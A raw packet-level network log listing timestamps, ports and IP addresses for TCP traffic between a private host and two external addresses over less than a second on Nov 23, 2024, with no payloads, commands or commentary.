Nov 23, 2024 05:02:25.579768896 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.580542088 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.580610991 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.580641985 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.580800056 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.581453085 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.581518888 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.581563950 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.581698895 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.582406998 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.582462072 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.582511902 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.582639933 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.583357096 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.583456039 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.583488941 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.583539963 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.584280968 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.584367990 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.584403992 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.584403992 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.585206032 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.585283995 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.585382938 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.585438967 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.638870001 CET	443	49734	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:25.639659882 CET	49734	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:25.639724016 CET	443	49734	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:25.640172958 CET	49734	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:25.640187025 CET	443	49734	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:25.643666029 CET	443	49735	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:25.643974066 CET	49735	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:25.643995047 CET	443	49735	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:25.644579887 CET	49735	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:25.644588947 CET	443	49735	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:25.653363943 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.653428078 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.653532028 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.653598070 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.653825998 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.653871059 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.653882027 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.653939009 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.654742002 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.654782057 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.654819965 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.654866934 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.655668020 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.655728102 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.655746937 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.655781984 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.656631947 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.656697989 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.656744003 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.656831980 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.657525063 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.657651901 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.657669067 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.657701015 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.658492088 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.658536911 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.658540010 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.658581972 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.659420013 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.659461975 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.659499884 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.659539938 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.660363913 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.660434008 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.660465956 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.660512924 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.661290884 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.661317110 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.661331892 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.661377907 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.662220001 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.662312031 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.662331104 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.662378073 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.663161039 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.663252115 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.663271904 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.663285971 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.664093018 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.664151907 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.664182901 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.664402008 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.665052891 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.665136099 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.665152073 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.665290117 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.665950060 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.666085958 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.666114092 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.666162968 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.666896105 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.666941881 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.666965961 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.667018890 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.667860985 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.667875051 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.667922020 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.667922020 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.729438066 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.729497910 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.729527950 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.729554892 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.729847908 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.729897976 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.729948044 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.729995012 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.730784893 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.730890036 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.730906010 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.730993032 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.731724977 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.731806040 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.731815100 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.731863022 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.732652903 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.732705116 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.732784986 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.732837915 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.733572006 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.733628035 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.733674049 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.733717918 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.734510899 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.734603882 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.734642982 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.734700918 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.735466003 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.735521078 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.735567093 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.735618114 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.736407995 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.736493111 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.736567020 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.736619949 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.737351894 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.737423897 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.737462044 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.737540007 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.738281965 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.738363028 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.738373995 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.738413095 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.739217997 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.739305973 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.739324093 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.739379883 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.740187883 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.740236044 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.740242004 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.740379095 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.741084099 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.741147041 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.741184950 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.741255999 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.742031097 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.742086887 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.742130995 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.742202044 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.742944002 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.743001938 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.743053913 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.743103027 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.743880987 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.743973017 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.743983030 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.744035006 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.744803905 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.744863033 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.744926929 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.744985104 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.745758057 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.745816946 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.745853901 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.745924950 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.746704102 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.746783972 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.746812105 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.746880054 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.747618914 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.747668028 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.747710943 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.747762918 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.748594046 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.748687983 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.748692036 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.748754978 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.749496937 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.749541998 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.749587059 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.749669075 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.750435114 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.750468969 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.750516891 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.750518084 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.751403093 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.751504898 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.751532078 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.751552105 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.752319098 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.752407074 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.752422094 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.752463102 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.753249884 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.753309011 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.753331900 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.753350019 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.778456926 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.778548956 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.778570890 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.778629065 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.778913975 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.778999090 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.779016018 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.779058933 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.779891968 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.779908895 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.780057907 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.780057907 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.780764103 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.780857086 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.780868053 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.780915976 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.781701088 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.781759977 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.781785965 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.781866074 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.782632113 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.782682896 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.782743931 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.782795906 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.783593893 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.783653021 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.783700943 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.783745050 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.784528971 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.784614086 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.784621000 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.784662962 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.785480022 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.785496950 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.785531998 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.785593033 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.786371946 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.786469936 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.786475897 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.786526918 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.854615927 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.854710102 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.854742050 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.854789972 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.855110884 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.855215073 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.855226994 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.855279922 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.856045961 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.856131077 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.856147051 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.856189966 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.856964111 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.857038975 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.857081890 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.857212067 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.857908010 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.857968092 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.858006954 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.858118057 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.858810902 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.858859062 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.858933926 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.858982086 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.859780073 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.859886885 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.859899044 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.860050917 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.860755920 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.860866070 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.860868931 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.860953093 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.861639977 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.861718893 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.861732960 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.861799002 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.862586975 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.862693071 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.862705946 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.862754107 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.863518000 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.863590956 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.863630056 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.863682985 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.864465952 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.864532948 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.864572048 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.864752054 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.865387917 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.865452051 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.865497112 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.865613937 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.866312981 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.866410017 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.866434097 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.866481066 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.867259026 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.867336988 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.867372990 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.867428064 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.868205070 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.868247986 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.868287086 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.868330002 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.869126081 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.869199991 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.869220972 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.869297981 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.930717945 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.930828094 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.930839062 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.930902004 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.931154966 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.931274891 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.931323051 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.931406021 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.932102919 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.932162046 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.932212114 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.932275057 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.933083057 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.933156013 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.933163881 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.933255911 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.933984995 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.934057951 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.934093952 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.934174061 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.934901953 CET	80	49724	185.215.113.206	192.168.2.6
